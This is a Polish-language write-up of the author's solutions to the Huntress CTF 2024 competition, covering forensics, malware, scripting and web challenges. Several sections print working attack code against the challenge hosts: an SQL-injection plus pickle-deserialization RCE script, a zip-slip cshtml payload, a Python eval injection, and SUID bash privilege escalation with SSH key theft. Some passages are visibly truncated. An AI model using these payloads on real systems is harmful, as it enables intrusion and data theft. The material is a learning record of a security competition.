Huntress CTF 2024

W tym roku Huntress zorganizowało swoje coroczne wydarzenie Capture The Flag w październiku, aby uczcić Miesiąc Świadomości Cyberbezpieczeństwa. Wydarzenie trwało przez cały miesiąc i obejmowało wyzwania z zakresu analizy śledczej, malware, OSINT, zadania ogólne oraz różne zadania rozgrzewkowe. Wziąłem udział w wydarzeniu razem z zespołem No Man’s Root. Jak na pierwszy raz, udało nam się zająć 78. miejsce spośród 3444 drużyn. W tym wpisie przedstawię część rozwiązań, które udało mi się ukończyć – a było ich niemało!
W wydarzeniu było 71 zadań, z czego sam rozwiązałem 46. Dziękuję również wszystkim osobom, które wsparły mnie w trakcie, choć nie wymieniam ich tutaj z imienia. Poniżej przedstawiam statystyki mojej punktacji oraz wynik naszego zespołu. Uważam, że jak na mój pierwszy raz, gdy naprawdę zaangażowałem się w rozwiązywanie CTF-a od początku do końca, poszło mi całkiem nieźle. Duża liczba niezaliczonych zadań widoczna na wykresie wynika z frustracji, która pojawiła się w pewnym momencie. Ewidentnie wciąż brakuje mi biegłości w reverse engineering – mimo posiadania fragmentów flagi, nie mogłem ustalić ich właściwej kolejności (dziękuję za wsparcie, lady_debug!).
TXT Message
Challenge Type: Warmups
Author: @JohnHammond
Hmmm, widziałeś niektóre dziwne rekordy DNS dla domeny ctf.games? Jeden z nich jest naprawdę podejrzany… (ang. Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…)
Z opisu zadania dowiadujemy się, że w DNS jest dodatkowy, nietypowy wpis. Zwykle, gdy chcemy dodać niestandardową wartość do naszych rekordów DNS, używamy rekordu TXT. Dlatego pierwszym poleceniem, które wykonałem, było dig -t txt +short ctf.games
. W odpowiedzi otrzymałem następujący wpis: 146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175
. Wygląda to na zakodowany tekst zawierający flagę. Bez dłuższego zastanowienia skorzystałem z ChatGPT, który szybko podał mi odpowiedź:
MatryoshkaQR
Challenge Type: Warmups
Author: @JohnHammond
Wow! To jest ogromny kod QR! Ciekawe, co mówi… (ang. Wow! This is a big QR code! I wonder what it says…?)
Do zadania dołączono plik PNG, który zawierał kod QR, przedstawiony poniżej:
Po zeskanowaniu kodu QR otrzymaliśmy dane, które na początku zawierały frazę “PNG”. Domyśliłem się, że jest to kolejny obrazek zakodowany w formacie hex. Za pomocą poniższego skryptu zapisałem te dane do nowego pliku PNG:
encoded_string = (
"\\x89PNG\\r\\n\\x1a\\n\\x00\\x00\\x00\\rIHDR\\x00\\x00\\x00'\\x00\\x00\\x00'"
"\\x01\\x00\\x00\\x00\\x00\\xa4\\xd8l\\x98\\x00\\x00\\x00\\xf5IDATx\\x9c\\x01\\xea"
"\\x00\\x15\\xff\\x01\\xff\\x00\\x00\\x00\\xff\\x00\\x80\\xa2\\xd9\\x1a\\x02\\x00"
"\\xbe\\xe6T~\\xfa\\x04\\xe4\\xff\\x0fh\\x90\\x02\\x00\\x1a\\x7f\\xdc\\x00\\x02"
"\\x00\\xde\\x01H\\x00\\x00\\xbe\\xd5\\x95J\\xfa\\x04\\xc2*\\x15`\\x08\\x00\\xff"
"\\x9d.\\x9f\\xfe\\x04\\xfd#P\\xc3\\x0b\\x02\\x97\\x0e:\\x07d\\x04/vIg\\x19\\x00"
"\\xbb\\xcd\\xf3-\\xd2\\x02\\xfb\\xd6d\\xb5\\x88\\x02E\\xc7^\\xdf\\xfc\\x00\\x84"
"\\xfb\\x13\\xf3J\\x02\\xfd\\x88a\\xefD\\x00\\xc8t$\\x90\\n\\x01\\xc7\\x01\\xee1"
"\\xf7\\x043Q\\x17\\x0cH\\x01\\xa5\\x03\\x1c6d\\x02\\r\\xf0\\xbfV$\\x00\\xcf\\x13"
"d3\\x06\\x01\\xee\\x08J\\xf5E\\x00\\x9b\\xee\\n\\xac\\xfa\\x01\\xea|\\xf2\\xe86"
"\\x04\\xb3\\xc9\\x84\\xf7\\xb4\\x02\\t\\x90U%\\x14\\x00\\xbf g\\xa5\\xee\\x02"
"\\xfbH\\xf1#4\\x00\\xff\\xa1!;\\x86\\x02\\x81VB\\xdf\\xfc\\x04>\\xb1s\\x00\\x10"
"\\x02\\xe4>\\xab-p\\x00\\xa2\\xc6\\xfe\\xf6\\xee\\x04\\x00\\x05\\xcbl5\\x02\\x1c"
"\\xfc\\x85;\\xd0\\x02\\xc2\\xfb\\xe6A\\x00\\x01\\xff\\x00\\x00\\x00\\xff\\xf9"
"\\xdb_g\\xf4\\x9a\\xddH\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82"
)
def decode_and_save(encoded_str, output_filename):
byte_data = bytes(encoded_str, "utf-8").decode('unicode_escape').encode('latin1')
with open(output_filename, 'wb') as file:
file.write(byte_data)
output_file = "output.png"
decode_and_save(encoded_string, output_file)
Po wykonaniu kodu otrzymałem następny kod QR:
Po jego zeskanowaniu otrzymałem flagę: flag{01c6e24c48f48856ee3adcca00f86e9b}
Base64by32
Challenge Type: Scripting
Author: @JohnHammond
To jest głupie zadanie. Przepraszam. (ang. This is a dumb challenge. I’m sorry.)
Do zadania dołączono plik base64by32.zip
, z którego po rozpakowaniu otrzymaliśmy plik tekstowy zakodowany w base64. Za pomocą CyberChef dodawałem kolejne operacje dekodowania base64, aż uzyskałem flagę (prawdopodobnie aż 32 razy!).
Obfuscation Station
Challenge Type: Forensics
Author: @resume
Dotarłeś do Stacji Zaciemniania! Czy potrafisz zdekodować ten skrypt PowerShell, aby znaleźć flagę? (ang. You’ve reached the Obfuscation Station! Can you decode this PowerShell to find the flag?)
Do zadania dołączono plik Challenge.zip, który po rozpakowaniu zawierał skrypt PowerShell o nazwie chal.ps1. Zawartość skryptu:
(nEW-objECt SYstem.iO.COMPreSsIon.deFlaTEStREAm( [IO.mEmORYstreAM][coNVERt]::FROMBAse64sTRING( 'UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA') ,[io.COmPREssioN.coMpreSSioNmODE]::DeCoMpReSS)| %{ nEW-objECt sYStEm.Io.StREAMrEADeR($_,[TeXT.encodiNG]::AsCii)} |%{ $_.READTOENd()})| & ( $eNV:cOmSPEc[4,15,25]-JOin'')
Napierw za pomocą Cyberchef poprawiłem czytelność skryptu, zamieniając duże litery na małe:
Następnie, używając skryptu do odwrócenia procesu, zdekodowałem flagę (zajęło mi to chwilę, zanim zauważyłem, że kopiowałem niepoprawnie dane Base64 – kopiowałem wyłącznie małe litery zamiast zachować oryginalny format ze skryptu).:
import base64
import zlib
encoded_data = 'uzf19/ujv7bvuerlsuyvnk5nmtm3tu0zmdyxnjsxndcynjextdy2suu0ndritdwpvqia'
decoded_data = base64.b64decode(encoded_data)
decompressed_data = zlib.decompress(decoded_data, -15)
print(decompressed_data.decode('ascii'))
Zdekodowana flag: b'$5GMLW = "flag{3ed675ef0343149723749c34fa910ae4}"'
Hidden Streams
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
Pod powierzchnią tajemnice płyną, Cichy nurt skrywa szeptów tkaną. Niewidzialne prądy, senne marzenia, Niosą historie ukryte w strumieniach. Czy odnajdziesz sekrety w tych logach Sysmon? (ang. Beneath the surface, secrets glide, A gentle flow where whispers hide. Unseen currents, silent dreams, Carrying tales in hidden streams. Can you find the secrets in these Sysmon logs?)
Do rozwiązania zadania wykorzystałem swoje ulubione narzędzie do przeszukiwania zdarzeń systemu Windows, Chainsaw. Przy użyciu polecenia chainsaw search 'powershell' -i Sysmon.evtx
wylistowałem wszystkie zdarzenia związane z PowerShell. Wśród nich znalazłem zdarzenie, które zawierało dodatkową zawartość zakodowaną w formacie Base64:
Zdekodowana flaga: `flag{bfefb891183032f44fa93d0c7bd40da9}
Echo Chamber
Challenge Type: Scripting
Author: @JohnHammond#6971
Czy ktoś tam jest? Czy ktoś tam jest? Wysyłam sobie flagę! Wysyłam sobie flagę! (ang. Is anyone there? Is anyone there? I’m sending myself the flag! I’m sending myself the flag!)
Aby rozwiązać zadanie, otrzymaliśmy plik pcap
zawierający wyłącznie pakiety ICMP. W danych pakietu zauważyłem przesyłane informacje. Wyfiltrowałem jedynie żądania (request), zapisałem wynik w formacie CSV, a następnie wkleiłem do CyberChef, aby je zdekodować. Przeglądając zawartość danych, dostrzegłem, że każdy znak był zduplikowany około 40 razy. Po usunięciu duplikatów otrzymałem flagę.
Zdekodowana flaga: flag{6b388a9117a7554d88bf384d7c73fd6e}
Keyboard Junkie
Challenge Type: Forensics
Author: @JohnHammond
Mój przyjaciel nie przestawał mówić o swojej nowej klawiaturze, więc… (ang. My friend wouldn’t shut up about his new keyboard, so…)
Do rozwiązania zadania ponownie otrzymaliśmy plik pcap
, tym razem zawierający przechwyconą komunikację z klawiatury USB. Po kilku wyszukiwaniach w Google znalazłem skrypt, za pomocą którego rozwiązałem zadanie.
tshark -r ./keyboard_junkie -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbData
Zimmer Down
Challenge Type: Forensics
Author: @sudo_Rem
Użytkownik wchodził w interakcję z podejrzanym plikiem na jednym z naszych hostów. Jedyne, co udało nam się zdobyć, to rejestr użytkownika. Czy ukrywa on jakieś sekrety? (ang. A user interacted with a suspicious file on one of our hosts. The only thing we managed to grab was the user’s registry hive. Are they hiding any secrets?)
Do rozwiązania zadania otrzymaliśmy plik NTUSER.DAT
. Korzystając z Registry Explorer i słowa kluczowego flag
, przeszukałem rejestr, jednak autorzy zadania nieco utrudnili zadanie, dodając wiele wpisów typu „not the flag”. Przeszukując okolice znalezionych wyników, natknąłem się na wpis o nazwie b62
, w którym znajdowała się zakodowana zawartość. Po jej rozkodowaniu odnalazłem flagę.
X-RAY
Challenge Type: Malware
Author: @JohnHammond
SOC wykrył złośliwe oprogramowanie na hoście, ale program antywirusowy już je poddał kwarantannie… czy nadal możesz zrozumieć, co ono robi? (ang. The SOC detected malware on a host, but antivirus already quarantined it… can you still make sense of what it does?)
W treści zadania znajduje się wskazówka mówiąca, że plik został poddany kwarantannie. Założyłem, że prawdopodobnie użyto Windows Defendera. W pierwszej kolejności znalazłem skrypt, który pozwolił mi odzyskać plik. Po jego przywróceniu okazało się, że jest to plik wykonywalny stworzony w .NET.
Następnie zdekompilowałem program za pomocą dotPeek. W głównej części znalazłem dwie zakodowane wartości oraz operację służącą do ich dekodowania. Skopiowałem kod i za pomocą ChatGPT przerobiłem go na Python. Po uruchomieniu przerobionego skryptu uzyskałem flagę.
import sys
import codecs
def load(hex_string):
length = len(hex_string)
num_array = bytearray(length // 2)
for start_index in range(0, length, 2):
num_array[start_index // 2] = int(hex_string[start_index:start_index + 2], 16)
return num_array
def otp(data1, data2):
return bytearray(a ^ b for a, b in zip(data1, data2))
data1 = load("15b279d8c0fdbd7d4a8eea255876a0fd189f4fafd4f4124dafae47cb20a447308e3f77995d3c")
data2 = load("73de18bfbb99db4f7cbed3156d40959e7aac7d96b29071759c9b70fb18947000be5d41ab6c41")
result = otp(data1, data2)
print(codecs.decode(result, 'utf-8'))
Zdobyta flag: flag{df26090565cb329fdc8357080700b621}
Strange Calc
Challenge Type: Malware
Author: @JohnHammond
Dostałem nową aplikację kalkulatora od mojego znajomego! Ale jest naprawdę dziwna, z jakiegoś powodu potrzebuje uprawnień administratora do uruchomienia?? (ang. I got this new calculator app from my friend! But it’s really weird, for some reason it needs admin permissions to run??)
Na początku, jak przy każdej analizowanej próbce, sprawdziłem podstawowe informacje o pliku exe za pomocą PeStudio. Zauważyłem, że plik jest spakowany za pomocą UPX i przygotowany przy użyciu skryptów automatyzacji AutoIt.
Po rozpakowaniu pliku otrzymałem skrypt .au, który zawierał kodowanie base64.
Zdekodowana zawartość base64 zawierała plik .jse
. Po deobfuskacji przy użyciu CyberChef uzyskałem kod JavaScript, jednak z niewiadomych powodów skrypt nie chciał wyświetlić swojej rzeczywistej zawartości. Dopiero ChatGPT szybko ją zdekodował.
Sekiro
Challenge Type: Miscellaneous
Author: @HuskyHacks
お前はもう死んでいる
W zadaniu celem jest jak najszybsze pokonanie przeciwnika. Metodą prób i błędów, analizując jego zachowanie, udało mi się stworzyć skrypt, który umożliwił jego pokonanie.
import pexpect
process = pexpect.spawn(f'nc challenge.ctf.games 32166')
try:
while True:
process.expect(r'Opponent move: (block|strike|advance|retreat)\r?\n')
print(process.before.decode('utf-8').strip())
opponent_move = process.match.group(1).decode('utf-8').strip()
print(f"Opponent move: `{opponent_move}`")
process.expect('Your move:')
if 'block' in opponent_move:
move = 'advance'
elif 'strike' in opponent_move:
move = 'block'
elif 'advance' in opponent_move:
move = 'retreat'
elif 'retreat' in opponent_move:
move = 'strike'
process.sendline(move)
print(f"Your move: {move}")
except pexpect.EOF:
print(process.before.decode('utf-8').strip())
Russian Roulette
Challenge Type: Malware
Author: @JohnHammond
Mój PowerShell zachowuje się naprawdę dziwnie!! Uruchamia się kilka sekund, a czasem po prostu zawiesza mi komputer!?!?! :(
OSTRZEŻENIE: Przeanalizuj to zadanie wewnątrz maszyny wirtualnej dla własnego bezpieczeństwa. Istnieje realne ryzyko, że Twoja maszyna wirtualna może się zawiesić po uruchomieniu.
(ang. My PowerShell has been acting really weird!! It takes a few seconds to start up, and sometimes it just crashes my computer!?!?! :( WARNING: Please examine this challenge inside of a virtual machine for your own security. Upon invocation there is a real possibility that your VM may crash.)
Do rozwiązania zadania otrzymaliśmy plik skrótu w systemie Windows (.lnk), który pobiera z internetu złośliwe oprogramowanie. Po jego pobraniu znaleźliśmy mocno zaciemniony skrypt PowerShell. Manualna analiza zajęłaby bardzo dużo czasu, więc postanowiłem skorzystać z portalu Any.Run. Po uruchomieniu pliku i prześledzeniu wywołań PowerShell znalazłem wartość zakodowaną w base64.
The Void
Challenge Type: Warmups Author: @JohnHammond#6971
Kiedy patrzysz długo w otchłań, otchłań patrzy również na ciebie… (ang. When you gaze long into the void, the void gazes also into you…)
Po połączeniu z zadaniem pojawił się czarny ekran, ciemniejszy niż zwykle w konsoli.
Zdecydowałem się przekierować cały input do pliku. Otwierając plik w edytorze vi, zauważyłem znaki przypominające kody kolorów używane w konsoli bash.
nc challenge.ctf.games 30124 > aaa
Za pomocą polecenia sed
usunąłem wszystkie znaki odpowiedzialne za kolorowanie, co pozwoliło mi uzyskać flagę.
cat aaa| sed -r "s/\x1B\[([0-9]{1,3}(;[0-9]{1,2};?)?)?[mGK]//g"
Malibu
Challenge Type: Miscellaneous
Author: Truman Kain
Co zabierasz na plażę?
UWAGA: Dwie rzeczy, o których warto pamiętać przy tym zadaniu: Uruchomienie usługi zajmuje trochę więcej czasu. Jeśli pojawi się komunikat “Connection refused”, poczekaj chwilę dłużej. Usługa nie odpowie ani nie wyświetli żadnych wskazówek od razu… czeka na twój wkład. Jeśli po prostu naciśniesz Enter, zobaczysz, co to jest. Dodatkowa wskazówka: gdy już poznasz, czym jest ta usługa, spróbuj połączyć się w lepszy sposób. Następnie użyj kontekstu i logicznego myślenia na podstawie jej odpowiedzi i opisu zadania. Żadne brutalne wymuszanie nie będzie potrzebne, kiedy zrozumiesz infrastrukturę i dokonasz enumeracji. ;)
(ang. What do you bring to the beach?
NOTE: There are two things to note for this challenge. This service takes a bit more time to start. If you see a Connection refused, please wait a bit more. This service will not immediately respond or prompt you… it is waiting for your input. If you just hit Enter, you will see what it is. Extra tip, once you know what the service is, try connecting in a better way. Then use some of the context clues and critical thinking based off its response and the challenge description. You don’t need any bruteforcing once you understand the infrastructure and enumerate. ;))
Na początku zadania otrzymujemy polecenie nc challenge.ctf.games 31426
. Po jego wykonaniu zauważam, że usługa komunikuje się za pomocą protokołu HTTP.grep -r flag
, które od razu doprowadziło mnie do rozwiązania.
Plantopia
Challenge Type: Web
Author: @HuskyHacks
Plantopia to nasza nowa, nowoczesna strona do zarządzania pielęgnacją roślin! Stworzona zarówno dla hobbystów, jak i profesjonalistów, oferuje wszystko, czego potrzebujesz do kompleksowego zarządzania opieką nad roślinami.
Prosimy o przeprowadzenie testu penetracyjnego przed uruchomieniem witryny i poinformowanie nas o wszelkich znalezionych problemach.
Nazwa użytkownika: testuser
Hasło: testpassword
(ang.
Plantopia is our brand new, cutting edge plant care management website! Built for hobbiests and professionals alike, it’s your one stop shop for all plant care management.
Please perform a penetration test ahead of our site launch and let us know if you find anything.
Username: testuser
Password: testpassword
)
Po uruchomieniu aplikacji pojawia się panel logowania. Na początku próbowałem zalogować się danymi podanymi w zadaniu, jednak nie działały one poprawnie. Zacząłem więc klikać dostępne linki.
HelpfulDesk
Challenge Type: Web
Author: @HuskyHacks
HelpfulDesk to idealne rozwiązanie dla małych i średnich firm potrzebujących zdalnego monitorowania i zarządzania. Wczoraj wieczorem HelpfulDesk wydał biuletyn bezpieczeństwa, w którym pilnie zaleca aktualizację do najnowszego poziomu poprawek. Szczegóły były skąpe, ale to raczej nie wróży nic dobrego…
(ang. HelpfulDesk is the go-to solution for small and medium businesses who need remote monitoring and management. Last night, HelpfulDesk released a security bulletin urging everyone to patch to the latest patch level. They were scarce on the details, but I bet that can’t be good…)
Po odwiedzeniu aplikacji i sprawdzeniu biuletynu zauważyłem, że dostępna jest nowa wersja aplikacji (1.2), podczas gdy uruchomiona wersja to 1.1.diff
próbuję zidentyfikować zmienione pliki. Szybko okazało się, że jedyna istotna zmiana zaszła w pliku HelpfulDesk.dll
. Następnie, za pomocą polecenia file
, sprawdziłem, czym dokładnie jest ten plik. Okazało się, że jest to biblioteka napisana w .NET.SetupController.cs
, odpowiedzialnym za konfigurację oprogramowania, w nowszej wersji usunięto wyrażenie Trim('/')
./Setup/SetupWizard/
moim oczom ukazał się panel instalacyjny aplikacji, umożliwiający ustawienie hasła administratora.admin:admin
, poprawnie zalogowałem się do aplikacji i pobrałem flagę.
Zdobyta flaga: flag{03a6f458b7483e93c37bd94b6dda462b}
MOVEable
Challenge Type: Web
Author: @JohnHammond#6971
Chciałeś kiedyś przenosić swoje pliki? Wiesz, jak za pomocą eleganckiego interfejsu webowego, zamiast tylko FTP czy czegoś podobnego?
Teraz możesz, dzięki naszej super bezpiecznej aplikacji MOVEable!
Podnieś swoje uprawnienia i znajdź flagę.
(ang. Ever wanted to move your files? You know, like with a fancy web based GUI instead of just FTP or something? Well now you can, with our super secure app, MOVEable! Escalate your privileges and find the flag. )
Muszę przyznać, że to zadanie zajęło mi chyba najwięcej czasu, a exploit jest zdecydowanie najbardziej skomplikowany. Do rozwiązania otrzymaliśmy kod aplikacji, co pozwoliło na przygotowanie exploitu, a następnie jego uruchomienie w środowisku CTF. Pierwszą podatność odkryłem w procesie logowania – pozwalała na wykonywanie tzw. stacked queries, co umożliwiało dodawanie dowolnych wartości do tabel w bazie danych. Kiedy myślałem, że mam już wszystko, okazało się, że w kodzie jest błąd i funkcjonalność pobierania plików nie działa.
import requests
import pickle
import base64
import json
from itsdangerous import base64_decode
import random
import string
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
}
HOST = 'http://challenge.ctf.games:32154'
CMD = '''sudo cat /root/flag.txt'''
class RCE:
def __init__(self, cmd):
self.cmd = cmd
def __reduce__(self):
return eval, (self.cmd,)
def init_session():
print('init session')
data = 'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2factivesessions%2f**%2f(sessionid%2c%2f**%2ftimestamp)%2f**%2fVALUES%2f**%2f(%5cf3c3b700-4339-45fc-bb32-45105d62a884%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
def get_flag_length():
print('Get data lenght')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': len(base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()))})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
print(payload)
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
print(data)
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
length = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(length)
return length
def get_flag(start, end):
print('Get data')
filename = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
pickled = pickle.dumps(RCE('''session.update({'flag3': base64.urlsafe_b64encode(os.popen("'''+ CMD + '''").read().encode()).decode()[''' + str(start) + ''':'''+ str(end)+''']})'''))
payload = base64.urlsafe_b64encode(pickled).decode()
data = f'username=admin%5c%3bINSERT%2f**%2fINTO%2f**%2ffiles%2f**%2f(filename%2c%2f**%2fdata%2c%2f**%2fsessionid)%2f**%2fVALUES%2f**%2f(%5c{filename}-{start}-{end}%5c%2c%5c{payload}%5c%2c%5c1729679958%5c)--&password=aa'
response = requests.post(f'{HOST}/login', headers=headers, data=data, verify=False, allow_redirects=False)
if response.status_code != 302:
print('error')
print(response.text)
exit(-1)
response = requests.get(f'{HOST}/download/{filename}-{start}-{end}/f3c3b700-4339-45fc-bb32-45105d62a884', headers=headers, verify=False, allow_redirects=False)
part = json.loads(base64_decode(response.cookies['session'].split('.')[0]))['flag3']
print(part)
return part
init_session()
lenght = get_flag_length()
content = ""
for i in range(0, lenght, 10):
if i + 10 < lenght:
e = i + 10
else:
e = i + (lenght - i)
print(i, e)
try:
content += get_flag(i, e)
except:
pass
print(content)
print(base64_decode(content))
Backdoored Splunk II
Challenge Type: Forensics
Author: Adam Rice (@adam.huntress)
Pewnie widziałeś, jak Splunk jest używany do dobrych celów, ale czy widziałeś, jak jest używany do złych? UWAGA: Głównym elementem tego zadania jest plik dostępny do pobrania poniżej. Korzysta on z dynamicznie uruchamianej usługi, ale musisz połączyć elementy układanki, aby odzyskać flagę.
(ang. You’ve probably seen Splunk being used for good, but have you seen it used for evil? NOTE: the focus of this challenge should be on the downloadable file below. It uses the dynamic service that is started, but you must put the puzzle pieces together to be retrieve the flag. )
Autor dołączył do zadania plik zip zawierający paczkę Splunk_TA_windows
. Po krótkich poszukiwaniach udało mi się znaleźć oryginalne pliki dostępne do pobrania na tej stronie. Po wykonaniu polecenia diff
znalazłem różnice w plikach. Najciekawsza z nich zawierała zaciemniony skrypt PowerShell.Invoke-WebRequest
z adresem oraz ustawionym nagłówkiem.curl
otrzymałem flagę.
Stack It
Challenge Type: Reverse Engineering
Author: @sudo_Rem
Nasz zespół analityków bezpieczeństwa niedawno pracował nad osobliwą próbką Lumma. Dentyści, którzy nam pomagali, doradzili, abyśmy nitkowali zęby co najmniej dwa razy dziennie, żeby sobie pomóc. Dali nam też ten dziwny plik. Może Ty będziesz mógł nam pomóc?
(ang. Our team of security analysts recently worked through a peculiar Lumma sample. The dentists helping us advised we floss at least twice a day to help out. He also gave us this weird file. Maybe you can help us out.)
Do rozwiązania zadania otrzymaliśmy plik stack_it.bin. Wstępna analiza wykazała, że jest to plik wykonywalny z usuniętymi symbolami debugowymi.
Zippy
Challenge Type: Web Author: @HuskyHacks
(ang. Need a quick solution for archiving your business files? Try Zippy today, the Zip Archiver built for the small to medium business!)
Oto poprawiona wersja tekstu:
Aplikacja udostępniona przez organizatorów umożliwiała przesyłanie plików w formacie ZIP, które po rozpakowaniu były zapisywane w katalogu o identyfikatorze wskazanym przez użytkownika.
Aplikacja została napisana w technologii .NET i obsługiwała dynamiczną kompilację plików cshtml. Najpierw stworzyłem stronę cshtml, która wczytywała flagę z określonej przeze mnie lokalizacji, a następnie, korzystając z poprawionej wersji skryptu evilarc, przygotowałem plik ZIP zawierający odpowiednią ścieżkę.
@page
@using System.IO
@functions {
public string GetFileContent()
{
string filePath = "/app/flag.txt";
if (System.IO.File.Exists(filePath))
{
return System.IO.File.ReadAllText(filePath);
}
else
{
return "File not found.";
}
}
}
@{
ViewData["Title"] = "About";
var fileContent = GetFileContent();
}
<h2>Contents of /app/flag.txt</h2>
<pre>
@fileContent
</pre>
Po przesłaniu pliku payload nadpisał istniejący plik w aplikacji, odpowiedzialny za wyświetlanie informacji o mnie, wyświetlając flagę.
PillowFight
Challenge Type: Web Author: @HuskyHacks
PillowFight wykorzystuje zaawansowane AI/MLRegressionLearning*, aby połączyć dwa wybrane przez Ciebie obrazy. *uwaga dla inwestorów: technicznie rzecz biorąc, to nie jest jeszcze prawda, obecnie używamy biblioteki Pythona, ale prosimy o wsparcie finansowe, a dostarczymy to, obiecujemy.
(ang. PillowFight uses advanced AI/MLRegressionLearning* to combine two images of your choosing *note to investors this is not techically true at the moment we’re using a python library but please give us money and we’ll deliver it we promise.)
Oto poprawiona wersja tekstu:
Aplikacja webowa została stworzona do łączenia obrazów.eval_command
.save
.
Korzystając z dokumentacji biblioteki Pillow, przygotowałem fragment kodu, który za pomocą funkcji lambda w Pythonie tworzy obiekt posiadający metodę save
, wczytującą flagę z systemu.
eval("type('A', (object,), {'save': (lambda self, fp, format=None, **params: fp.write(open(\"flag.txt\", \"rb\").read()) if hasattr(fp, 'write') else None)})()")
Permission to Proxy
Challenge Type: Miscellaneous Author: @JohnHammond
Gdzie idziemy stąd?
Zwiększ swoje uprawnienia i znajdź flagę w katalogu domowym root’a.
Tak, komunikat o błędzie, który widzisz przy starcie, jest zamierzony. ;)
(ang. Where do we go from here?
Escalate your privileges and find the flag in root’s home directory.
Yes, the error message you see on startup is intentional. ;))
Oto poprawiona wersja tekstu:
W zadaniu otrzymujemy skonfigurowaną usługę proxy Squid. Już sam opis zadania oraz typ usługi sugeruje, że należy poszukać podatności SSRF.
.ssh/config
host *
ProxyCommand corkscrew challenge.ctf.games 31619 %h %p
W tym momencie kluczowa okazała się cierpliwość. Dopiero na bardzo wysokim porcie, czyli 50 000, znalazłem usługę, która pozwalała na odczytywanie plików z serwera./home/user/.ssh/id_rsa
udało mi się znaleźć i pobrać klucz.find / -perm /2000 -or -perm /4000 2>/dev/null
, które, ku mojemu zaskoczeniu, na liście wyników dodatkowo wykazało binarkę /bin/bash
./bin/bash -p
podniosłem uprawnienia, a następnie wyświetliłem flagę z katalogu root.
Time will tell
Challenge Type: Miscellaneous Author: @aenygma
Atak boczny oparty na czasie. Odgadnij hasło w ciągu 90 sekund, zanim połączenie zostanie zakończone. Hasło jest dynamiczne i zmienia się przy każdej sesji połączenia.
(ang. A side channel timing attack. Figure out the password in 90 seconds before connection terminates. The password is dynamic and changes every connection session.)
Do rozwiązania zadania otrzymujemy kod, w którym najciekawszym elementem jest sposób weryfikacji poprawności hasła. Aplikacja sprawdza hasło znak po znaku, a gdy znak jest poprawny, wykonuje “ciężkie obliczenia”, polegające na wywołaniu funkcji sleep
z opóźnieniem 1.5 sekundy.
import pexpect
import time
child = pexpect.spawn('nc challenge.ctf.games 32654', encoding='utf-8', timeout=10)
child.logfile = open("debug_log.txt", "w")
possible_chars = "0123456789abcdef"
password = ""
password_len = 8
child.expect("Figure out the password")
for i in range(password_len):
max_time = 0.19
correct_char = ''
for char in possible_chars:
guess = password + char + "x" * (password_len - len(password) - 1)
start_time = time.perf_counter()
child.sendline(guess)
try:
child.expect(": ")
elapsed_time = time.perf_counter() - start_time
output = child.before.strip()
print(f"Test: {guess}, time: {elapsed_time:.6f}, answer: {output}")
if elapsed_time > max_time:
max_time = elapsed_time
correct_char = possible_chars[possible_chars.index(char) - 1]
except pexpect.exceptions.TIMEOUT:
print(f"Timeout for char: {char}")
continue
password += correct_char
print(f"Found char: {correct_char} on {i}, current password: {password}")
print(f"Password: {password}")
child.sendline(password)
child.expect("flag:")
flag = child.before
print(f"Flag: {flag}")
child.logfile.close()
Po napisaniu skryptu, który działał poprawnie na moim komputerze, musiałem wprowadzić drobne poprawki podczas próby zdobycia flagi, uwzględniając opóźnienie sieci.
Palimpsest
Challenge Type: Malware Author: Adam Rice (@adam.huntress)
Nasz dział IT konfigurował nową stację roboczą i napotkał dziwne błędy podczas instalacji oprogramowania. Technik zauważył nietypowe zadanie harmonogramu, na szczęście utworzył jego kopię zapasową i pobrał kilka plików dziennika przed wyczyszczeniem maszyny! Czy możesz ustalić, co się dzieje? Dołączamy poniżej wyeksportowane zadanie harmonogramu i pliki dziennika.
(ang. Our IT department was setting up a new workstation and started encountering some strange errors while installing software. The technician noticed a strange scheduled task and luckily backed it up and grabbed some log files before wiping the machine! Can you figure out what’s going on? We’ve included the exported scheduled task and log files below.)
Aby rozwiązać zadanie, otrzymujemy pliki evtx (logi systemu Windows) oraz konfigurację podejrzanego zadania.
Po deobfuskacji skrypt wyglądał następująco: pobierał dane z zdarzeń związanych z MsInstaller o identyfikatorach w zakresie 40000–65000 i zapisywał je do pliku flag.mp4.
$fileStreamType = [System.IO.FileStream]
$instanceRange = 40000..65000
$filePath = Join-Path -Path $env:appdata -ChildPath "flag.mp4"
$fileStream = $fileStreamType::OpenWrite($filePath)
Get-EventLog -LogName "Application" -Source "Mslnstaller" |
Where-Object { $instanceRange -contains $_.InstanceId } |
Sort-Object Index |
ForEach-Object {
$data = $_.Data
$fileStream.Write($data, 0, $data.Length)
}
$fileStream.Close()
Miałem trudność z dostosowaniem skryptu, aby działał poprawnie, więc zdecydowałem się skorzystać z narzędzi chainsaw oraz jq. Dzięki poniższym poleceniom udało mi się wyodrębnić plik mp4.
chainsaw/target/release/chainsaw search 'Mslnstaller' logs/ --json -o "output.json"
